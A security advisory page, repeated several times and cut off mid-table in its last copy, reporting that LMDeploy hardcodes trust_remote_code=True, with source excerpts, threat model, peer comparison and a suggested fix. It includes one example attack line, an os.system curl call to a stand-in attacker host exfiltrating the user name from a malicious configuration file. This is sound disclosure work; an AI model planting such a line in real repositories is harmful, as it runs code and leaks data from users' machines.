> ## 📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain" > > The accurate description of this vulnerability is: > **"`get_model_arch` and related helpers hardcode `trust_remote_code=True` > with no opt-out, creating an implicit unsafe remote-code load path > on every model fetch."** > > What this report does NOT claim: > * It is NOT a network-attack RCE — the user supplies the model > reference; LMDeploy honors it. > * It is NOT a "supply chain" CVE in the classical sense (where a > benign upstream is compromised) — the user explicitly types the > repo name. > > What this report DOES claim: > * Other inference frameworks (vLLM, TGI, Hugging Face transformers > itself) all expose `--trust-remote-code` as **opt-in** so that > users who consciously load known-safe repos can opt in, while > users following a tutorial cannot accidentally execute attacker > Python by typing a wrong repo name. > * LMDeploy's hardcoded True is an **implicit** trust-boundary > override that violates HF Transformers' default-secure stance > (`trust_remote_code=False` since transformers ≥ 4.30). > * The fix is a one-line CLI flag (`--trust-remote-code`) defaulting > False, threaded through the three sites, matching the rest of > the ecosystem. > > Severity should be assessed as **hardening / safe-by-default**, > not as full unauthenticated RCE. CVSS revised to **5.5 Medium** > (`AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` × user-must-load qualifier). > > Runtime evidence: see `12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt`. --- # F13 — LMDeploy: hardcoded `trust_remote_code=True` enables HF supply-chain RCE without user opt-in **Reporter:** ibondarenko1 / [email protected] **Coordinated-disclosure window:** 90 days from initial vendor email. ## TL;DR LMDeploy unilaterally passes `trust_remote_code=True` to `transformers.AutoConfig.from_pretrained()` (and several other `from_pretrained` callers) **regardless of any user opt-in**. The flag is hardcoded `True` in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a **silent override of HuggingFace Transformers' own default-secure stance** (`trust_remote_code=False`) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE. The user running `lmdeploy serve api_server <attacker_repo>`, `lmdeploy lite calibrate <attacker_repo>`, etc. has **no way to opt out**. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case. HuggingFace's `trust_remote_code=False` default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a `configuration_*.py` shim runs Python code as the LMDeploy user at the very first call to `get_model_arch(...)`. This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and `vllm` exposes the flag through `--trust-remote-code` rather than hardcoding it. ## Affected version * Repository: `github.com/InternLM/lmdeploy`, branch `main`. * Branch SHA at audit time: `9df0eff7c38ae69b9d4b9f7ad1441e484d439f92` (2026-05-02). * Pinned blob SHAs: * `lmdeploy/archs.py` → `68fa03a407734be1e2ae04098d34e9acdbe98262` * `lmdeploy/lite/apis/calibrate.py` → `0728304bdc3c03eee1d790bfbd5496df080a0ecd` * `lmdeploy/lite/utils/load.py` → `7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120` * `lmdeploy/pytorch/check_env/model.py` → `b1a2daaa426bf5fe25030f7913c703eed9f5b261` Snapshots of all four files are in `source_pinned/`. ## Source-level evidence ### Site 1 — architecture detection (every load goes through here) `lmdeploy/archs.py:147-157` — `get_model_arch`: ```python def get_model_arch(model_path: str): """Get a model's architecture and configuration.""" try: cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True) except Exception as e: # noqa from transformers import PretrainedConfig cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True) ``` **Both** the primary path and the fallback hardcode `trust_remote_code=True`. There is no parameter to override it. This function is called from every model-loading path in lmdeploy. ### Site 2 — quantization CLI `lmdeploy/lite/apis/calibrate.py:248-251`: ```python tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True) ... model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True) ``` `lmdeploy lite calibrate <repo>` and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded. ### Site 3 — calibration helper `lmdeploy/lite/utils/load.py:55`: ```python def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs): ... hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True) ``` Even if the caller does not pass `trust_remote_code=True` in `**kwargs`, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads `configuration_*.py` from the repo and `import`s it whenever `trust_remote_code=True`. ### Site 4 — pytorch engine check `lmdeploy/pytorch/check_env/model.py:10,99,234,242` — `trust_remote_code: bool = True` is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default. ### What `trust_remote_code=True` actually enables When `AutoConfig.from_pretrained(repo, trust_remote_code=True)` is called and the repo's `config.json` contains an `auto_map` key pointing to a custom `configuration_<name>.py`: 1. HF Transformers downloads the `.py` file from the repo. 2. HF imports the module via `importlib`, **executing the file's top-level code** (any `print`, `os.system`, `subprocess.run`, `urllib.request.urlopen`, etc. fires now). 3. HF then instantiates the named class. So a malicious repo only needs a top-level `os.system("curl https://attacker/?$(whoami)")` in `configuration_evil.py`. It runs as the lmdeploy process user. ## Threat model **Attack surface.** Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes: * Casual users following a tutorial that says `lmdeploy serve api_server <some_repo>`. * CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag). * Researchers comparing models from many authors. Even running `lmdeploy lite calibrate` for benchmarking is enough. The user is **not warned** that arbitrary Python from the repo will execute, and there is **no flag** to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes). ## Comparison to peer projects | Project | trust_remote_code default | User control | |---|---|---| | HuggingFace Transformers | False | `trust_remote_code` keyword arg | | vLLM | False | `--trust-remote-code` flag | | **LMDeploy** | **True (hardcoded)** | **None** | | TGI | False | `--trust-remote-code` flag | LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like `--trust-remote-code` and default-False as the rest of the ecosystem does. ## Suggested fix Replace every hardcoded `trust_remote_code=True` with an explicit opt-in via CLI flag: ```python # lmdeploy/archs.py — get_model_arch def get_model_arch(model_path: str, trust_remote_code: bool = False): try: cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code) except Exception as e: # noqa from transformers import PretrainedConfig cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code) ``` Wire `trust_remote_code` through every call site. Add `--trust-remote-code` to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. **Default False**. A patch fragment is in `patch.diff`. ## Disclosure plan 1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at `https://github.com/InternLM/lmdeploy/security/advisories/new`). 2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape. 3. 90-day coordinated-disclosure window starting from acknowledgement. 4. Request CVE through GHSA flow once the patch lands. ## Why static-only is sufficient here Unlike F11 (RCE chain through `_load_pt_file`) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a **single trust-flag flip** — the behaviour of `AutoConfig.from_pretrained(repo, trust_remote_code=True)` on a HF repo with a malicious `configuration_*.py` is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug. If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with `configuration_evil.py` + a one-liner `lmdeploy lite calibrate <repo>` invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.
> ## 📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain" > > The accurate description of this vulnerability is: > **"`get_model_arch` and related helpers hardcode `trust_remote_code=True` > with no opt-out, creating an implicit unsafe remote-code load path > on every model fetch."** > > What this report does NOT claim: > * It is NOT a network-attack RCE — the user supplies the model > reference; LMDeploy honors it. > * It is NOT a "supply chain" CVE in the classical sense (where a > benign upstream is compromised) — the user explicitly types the > repo name. > > What this report DOES claim: > * Other inference frameworks (vLLM, TGI, Hugging Face transformers > itself) all expose `--trust-remote-code` as **opt-in** so that > users who consciously load known-safe repos can opt in, while > users following a tutorial cannot accidentally execute attacker > Python by typing a wrong repo name. > * LMDeploy's hardcoded True is an **implicit** trust-boundary > override that violates HF Transformers' default-secure stance > (`trust_remote_code=False` since transformers ≥ 4.30). > * The fix is a one-line CLI flag (`--trust-remote-code`) defaulting > False, threaded through the three sites, matching the rest of > the ecosystem. > > Severity should be assessed as **hardening / safe-by-default**, > not as full unauthenticated RCE. CVSS revised to **5.5 Medium** > (`AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` × user-must-load qualifier). > > Runtime evidence: see `12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt`. --- # F13 — LMDeploy: hardcoded `trust_remote_code=True` enables HF supply-chain RCE without user opt-in **Reporter:** ibondarenko1 / [email protected] **Coordinated-disclosure window:** 90 days from initial vendor email. ## TL;DR LMDeploy unilaterally passes `trust_remote_code=True` to `transformers.AutoConfig.from_pretrained()` (and several other `from_pretrained` callers) **regardless of any user opt-in**. The flag is hardcoded `True` in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a **silent override of HuggingFace Transformers' own default-secure stance** (`trust_remote_code=False`) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE. The user running `lmdeploy serve api_server <attacker_repo>`, `lmdeploy lite calibrate <attacker_repo>`, etc. has **no way to opt out**. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case. HuggingFace's `trust_remote_code=False` default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a `configuration_*.py` shim runs Python code as the LMDeploy user at the very first call to `get_model_arch(...)`. This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and `vllm` exposes the flag through `--trust-remote-code` rather than hardcoding it. ## Affected version * Repository: `github.com/InternLM/lmdeploy`, branch `main`. * Branch SHA at audit time: `9df0eff7c38ae69b9d4b9f7ad1441e484d439f92` (2026-05-02). * Pinned blob SHAs: * `lmdeploy/archs.py` → `68fa03a407734be1e2ae04098d34e9acdbe98262` * `lmdeploy/lite/apis/calibrate.py` → `0728304bdc3c03eee1d790bfbd5496df080a0ecd` * `lmdeploy/lite/utils/load.py` → `7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120` * `lmdeploy/pytorch/check_env/model.py` → `b1a2daaa426bf5fe25030f7913c703eed9f5b261` Snapshots of all four files are in `source_pinned/`. ## Source-level evidence ### Site 1 — architecture detection (every load goes through here) `lmdeploy/archs.py:147-157` — `get_model_arch`: ```python def get_model_arch(model_path: str): """Get a model's architecture and configuration.""" try: cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True) except Exception as e: # noqa from transformers import PretrainedConfig cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True) ``` **Both** the primary path and the fallback hardcode `trust_remote_code=True`. There is no parameter to override it. This function is called from every model-loading path in lmdeploy. ### Site 2 — quantization CLI `lmdeploy/lite/apis/calibrate.py:248-251`: ```python tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True) ... model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True) ``` `lmdeploy lite calibrate <repo>` and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded. ### Site 3 — calibration helper `lmdeploy/lite/utils/load.py:55`: ```python def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs): ... hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True) ``` Even if the caller does not pass `trust_remote_code=True` in `**kwargs`, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads `configuration_*.py` from the repo and `import`s it whenever `trust_remote_code=True`. ### Site 4 — pytorch engine check `lmdeploy/pytorch/check_env/model.py:10,99,234,242` — `trust_remote_code: bool = True` is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default. ### What `trust_remote_code=True` actually enables When `AutoConfig.from_pretrained(repo, trust_remote_code=True)` is called and the repo's `config.json` contains an `auto_map` key pointing to a custom `configuration_<name>.py`: 1. HF Transformers downloads the `.py` file from the repo. 2. HF imports the module via `importlib`, **executing the file's top-level code** (any `print`, `os.system`, `subprocess.run`, `urllib.request.urlopen`, etc. fires now). 3. HF then instantiates the named class. So a malicious repo only needs a top-level `os.system("curl https://attacker/?$(whoami)")` in `configuration_evil.py`. It runs as the lmdeploy process user. ## Threat model **Attack surface.** Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes: * Casual users following a tutorial that says `lmdeploy serve api_server <some_repo>`. * CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag). * Researchers comparing models from many authors. Even running `lmdeploy lite calibrate` for benchmarking is enough. The user is **not warned** that arbitrary Python from the repo will execute, and there is **no flag** to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes). ## Comparison to peer projects | Project | trust_remote_code default | User control | |---|---|---| | HuggingFace Transformers | False | `trust_remote_code` keyword arg | | vLLM | False | `--trust-remote-code` flag | | **LMDeploy** | **True (hardcoded)** | **None** | | TGI | False | `--trust-remote-code` flag | LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like `--trust-remote-code` and default-False as the rest of the ecosystem does. ## Suggested fix Replace every hardcoded `trust_remote_code=True` with an explicit opt-in via CLI flag: ```python # lmdeploy/archs.py — get_model_arch def get_model_arch(model_path: str, trust_remote_code: bool = False): try: cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code) except Exception as e: # noqa from transformers import PretrainedConfig cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code) ``` Wire `trust_remote_code` through every call site. Add `--trust-remote-code` to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. **Default False**. A patch fragment is in `patch.diff`. ## Disclosure plan 1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at `https://github.com/InternLM/lmdeploy/security/advisories/new`). 2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape. 3. 90-day coordinated-disclosure window starting from acknowledgement. 4. Request CVE through GHSA flow once the patch lands. ## Why static-only is sufficient here Unlike F11 (RCE chain through `_load_pt_file`) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a **single trust-flag flip** — the behaviour of `AutoConfig.from_pretrained(repo, trust_remote_code=True)` on a HF repo with a malicious `configuration_*.py` is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug. If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with `configuration_evil.py` + a one-liner `lmdeploy lite calibrate <repo>` invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.
Monitor this advisory for an available fix and review any installs of the affected package.
Local check
hol-guard supply-chain scanlmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out affects lmdeploy (pip). Severity is high. > ## 📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain" > > The accurate description of this vulnerability is: > **"`get_model_arch` and related helpers hardcode `trust_remote_code=True` > with no opt-out, creating an implicit unsafe remote-code load path > on every model fetch."** > > What this report does NOT claim: > * It is NOT a network-attack RCE — the user supplies the model > reference; LMDeploy honors it. > * It is NOT a "supply chain" CVE in the classical sense (where a > benign upstream is compromised) — the user explicitly types the > repo name. > > What this report DOES claim: > * Other inference frameworks (vLLM, TGI, Hugging Face transformers > itself) all expose `--trust-remote-code` as **opt-in** so that > users who consciously load known-safe repos can opt in, while > users following a tutorial cannot accidentally execute attacker > Python by typing a wrong repo name. > * LMDeploy's hardcoded True is an **implicit** trust-boundary > override that violates HF Transformers' default-secure stance > (`trust_remote_code=False` since transformers ≥ 4.30). > * The fix is a one-line CLI flag (`--trust-remote-code`) defaulting > False, threaded through the three sites, matching the rest of > the ecosystem. > > Severity should be assessed as **hardening / safe-by-default**, > not as full unauthenticated RCE. CVSS revised to **5.5 Medium** > (`AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` × user-must-load qualifier). > > Runtime evidence: see `12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt`. --- # F13 — LMDeploy: hardcoded `trust_remote_code=True` enables HF supply-chain RCE without user opt-in **Reporter:** ibondarenko1 / [email protected] **Coordinated-disclosure window:** 90 days from initial vendor email. ## TL;DR LMDeploy unilaterally passes `trust_remote_code=True` to `transformers.AutoConfig.from_pretrained()` (and several other `from_pretrained` callers) **regardless of any user opt-in**. The flag is hardcoded `True` in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a **silent override of HuggingFace Transformers' own default-secure stance** (`trust_remote_code=False`) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE. The user running `lmdeploy serve api_server <attacker_repo>`, `lmdeploy lite calibrate <attacker_repo>`, etc. has **no way to opt out**. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case. HuggingFace's `trust_remote_code=False` default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a `configuration_*.py` shim runs Python code as the LMDeploy user at the very first call to `get_model_arch(...)`. This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and `vllm` exposes the flag through `--trust-remote-code` rather than hardcoding it. ## Affected version * Repository: `github.com/InternLM/lmdeploy`, branch `main`. * Branch SHA at audit time: `9df0eff7c38ae69b9d4b9f7ad1441e484d439f92` (2026-05-02). * Pinned blob SHAs: * `lmdeploy/archs.py` → `68fa03a407734be1e2ae04098d34e9acdbe98262` * `lmdeploy/lite/apis/calibrate.py` → `0728304bdc3c03eee1d790bfbd5496df080a0ecd` * `lmdeploy/lite/utils/load.py` → `7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120` * `lmdeploy/pytorch/check_env/model.py` → `b1a2daaa426bf5fe25030f7913c703eed9f5b261` Snapshots of all four files are in `source_pinned/`. ## Source-level evidence ### Site 1 — architecture detection (every load goes through here) `lmdeploy/archs.py:147-157` — `get_model_arch`: ```python def get_model_arch(model_path: str): """Get a model's architecture and configuration.""" try: cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True) except Exception as e: # noqa from transformers import PretrainedConfig cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True) ``` **Both** the primary path and the fallback hardcode `trust_remote_code=True`. There is no parameter to override it. This function is called from every model-loading path in lmdeploy. ### Site 2 — quantization CLI `lmdeploy/lite/apis/calibrate.py:248-251`: ```python tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True) ... model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True) ``` `lmdeploy lite calibrate <repo>` and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded. ### Site 3 — calibration helper `lmdeploy/lite/utils/load.py:55`: ```python def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs): ... hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True) ``` Even if the caller does not pass `trust_remote_code=True` in `**kwargs`, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads `configuration_*.py` from the repo and `import`s it whenever `trust_remote_code=True`. ### Site 4 — pytorch engine check `lmdeploy/pytorch/check_env/model.py:10,99,234,242` — `trust_remote_code: bool = True` is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default. ### What `trust_remote_code=True` actually enables When `AutoConfig.from_pretrained(repo, trust_remote_code=True)` is called and the repo's `config.json` contains an `auto_map` key pointing to a custom `configuration_<name>.py`: 1. HF Transformers downloads the `.py` file from the repo. 2. HF imports the module via `importlib`, **executing the file's top-level code** (any `print`, `os.system`, `subprocess.run`, `urllib.request.urlopen`, etc. fires now). 3. HF then instantiates the named class. So a malicious repo only needs a top-level `os.system("curl https://attacker/?$(whoami)")` in `configuration_evil.py`. It runs as the lmdeploy process user. ## Threat model **Attack surface.** Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes: * Casual users following a tutorial that says `lmdeploy serve api_server <some_repo>`. * CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag). * Researchers comparing models from many authors. Even running `lmdeploy lite calibrate` for benchmarking is enough. The user is **not warned** that arbitrary Python from the repo will execute, and there is **no flag** to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes). ## Comparison to peer projects | Project | trust_remote_code default | User control | |---|---|---| | HuggingFace Transformers | False | `trust_remote_code` keyword arg | | vLLM | False | `--trust-remote-code` flag | | **LMDeploy** | **True (hardcoded)** | **None** | | TGI | False | `--trust-remote-code` flag | LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like `--trust-remote-code` and default-False as the rest of the ecosystem does. ## Suggested fix Replace every hardcoded `trust_remote_code=True` with an explicit opt-in via CLI flag: ```python # lmdeploy/archs.py — get_model_arch def get_model_arch(model_path: str, trust_remote_code: bool = False): try: cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code) except Exception as e: # noqa from transformers import PretrainedConfig cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code) ``` Wire `trust_remote_code` through every call site. Add `--trust-remote-code` to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. **Default False**. A patch fragment is in `patch.diff`. ## Disclosure plan 1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at `https://github.com/InternLM/lmdeploy/security/advisories/new`). 2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape. 3. 90-day coordinated-disclosure window starting from acknowledgement. 4. Request CVE through GHSA flow once the patch lands. ## Why static-only is sufficient here Unlike F11 (RCE chain through `_load_pt_file`) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a **single trust-flag flip** — the behaviour of `AutoConfig.from_pretrained(repo, trust_remote_code=True)` on a HF repo with a malicious `configuration_*.py` is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug. If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with `configuration_evil.py` + a one-liner `lmdeploy lite calibrate <repo>` invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.
AI coding agents often install or upgrade packages automatically in pip. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| lmdeploypip | <=0.12.3 | Not reported |
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardMonitor this advisory for an available fix and review any installs of the affected package.
Local check
hol-guard supply-chain scanlmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out affects lmdeploy (pip). Severity is high. > ## 📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain" > > The accurate description of this vulnerability is: > **"`get_model_arch` and related helpers hardcode `trust_remote_code=True` > with no opt-out, creating an implicit unsafe remote-code load path > on every model fetch."** > > What this report does NOT claim: > * It is NOT a network-attack RCE — the user supplies the model > reference; LMDeploy honors it. > * It is NOT a "supply chain" CVE in the classical sense (where a > benign upstream is compromised) — the user explicitly types the > repo name. > > What this report DOES claim: > * Other inference frameworks (vLLM, TGI, Hugging Face transformers > itself) all expose `--trust-remote-code` as **opt-in** so that > users who consciously load known-safe repos can opt in, while > users following a tutorial cannot accidentally execute attacker > Python by typing a wrong repo name. > * LMDeploy's hardcoded True is an **implicit** trust-boundary > override that violates HF Transformers' default-secure stance > (`trust_remote_code=False` since transformers ≥ 4.30). > * The fix is a one-line CLI flag (`--trust-remote-code`) defaulting > False, threaded through the three sites, matching the rest of > the ecosystem. > > Severity should be assessed as **hardening / safe-by-default**, > not as full unauthenticated RCE. CVSS revised to **5.5 Medium** > (`AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` × user-must-load qualifier). > > Runtime evidence: see `12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt`. --- # F13 — LMDeploy: hardcoded `trust_remote_code=True` enables HF supply-chain RCE without user opt-in **Reporter:** ibondarenko1 / [email protected] **Coordinated-disclosure window:** 90 days from initial vendor email. ## TL;DR LMDeploy unilaterally passes `trust_remote_code=True` to `transformers.AutoConfig.from_pretrained()` (and several other `from_pretrained` callers) **regardless of any user opt-in**. The flag is hardcoded `True` in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a **silent override of HuggingFace Transformers' own default-secure stance** (`trust_remote_code=False`) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE. The user running `lmdeploy serve api_server <attacker_repo>`, `lmdeploy lite calibrate <attacker_repo>`, etc. has **no way to opt out**. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case. HuggingFace's `trust_remote_code=False` default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a `configuration_*.py` shim runs Python code as the LMDeploy user at the very first call to `get_model_arch(...)`. This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and `vllm` exposes the flag through `--trust-remote-code` rather than hardcoding it. ## Affected version * Repository: `github.com/InternLM/lmdeploy`, branch `main`. * Branch SHA at audit time: `9df0eff7c38ae69b9d4b9f7ad1441e484d439f92` (2026-05-02). * Pinned blob SHAs: * `lmdeploy/archs.py` → `68fa03a407734be1e2ae04098d34e9acdbe98262` * `lmdeploy/lite/apis/calibrate.py` → `0728304bdc3c03eee1d790bfbd5496df080a0ecd` * `lmdeploy/lite/utils/load.py` → `7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120` * `lmdeploy/pytorch/check_env/model.py` → `b1a2daaa426bf5fe25030f7913c703eed9f5b261` Snapshots of all four files are in `source_pinned/`. ## Source-level evidence ### Site 1 — architecture detection (every load goes through here) `lmdeploy/archs.py:147-157` — `get_model_arch`: ```python def get_model_arch(model_path: str): """Get a model's architecture and configuration.""" try: cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True) except Exception as e: # noqa from transformers import PretrainedConfig cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True) ``` **Both** the primary path and the fallback hardcode `trust_remote_code=True`. There is no parameter to override it. This function is called from every model-loading path in lmdeploy. ### Site 2 — quantization CLI `lmdeploy/lite/apis/calibrate.py:248-251`: ```python tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True) ... model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True) ``` `lmdeploy lite calibrate <repo>` and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded. ### Site 3 — calibration helper `lmdeploy/lite/utils/load.py:55`: ```python def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs): ... hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True) ``` Even if the caller does not pass `trust_remote_code=True` in `**kwargs`, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads `configuration_*.py` from the repo and `import`s it whenever `trust_remote_code=True`. ### Site 4 — pytorch engine check `lmdeploy/pytorch/check_env/model.py:10,99,234,242` — `trust_remote_code: bool = True` is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default. ### What `trust_remote_code=True` actually enables When `AutoConfig.from_pretrained(repo, trust_remote_code=True)` is called and the repo's `config.json` contains an `auto_map` key pointing to a custom `configuration_<name>.py`: 1. HF Transformers downloads the `.py` file from the repo. 2. HF imports the module via `importlib`, **executing the file's top-level code** (any `print`, `os.system`, `subprocess.run`, `urllib.request.urlopen`, etc. fires now). 3. HF then instantiates the named class. So a malicious repo only needs a top-level `os.system("curl https://attacker/?$(whoami)")` in `configuration_evil.py`. It runs as the lmdeploy process user. ## Threat model **Attack surface.** Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes: * Casual users following a tutorial that says `lmdeploy serve api_server <some_repo>`. * CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag). * Researchers comparing models from many authors. Even running `lmdeploy lite calibrate` for benchmarking is enough. The user is **not warned** that arbitrary Python from the repo will execute, and there is **no flag** to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes). ## Comparison to peer projects | Project | trust_remote_code default | User control | |---|---|---| | HuggingFace Transformers | False | `trust_remote_code` keyword arg | | vLLM | False | `--trust-remote-code` flag | | **LMDeploy** | **True (hardcoded)** | **None** | | TGI | False | `--trust-remote-code` 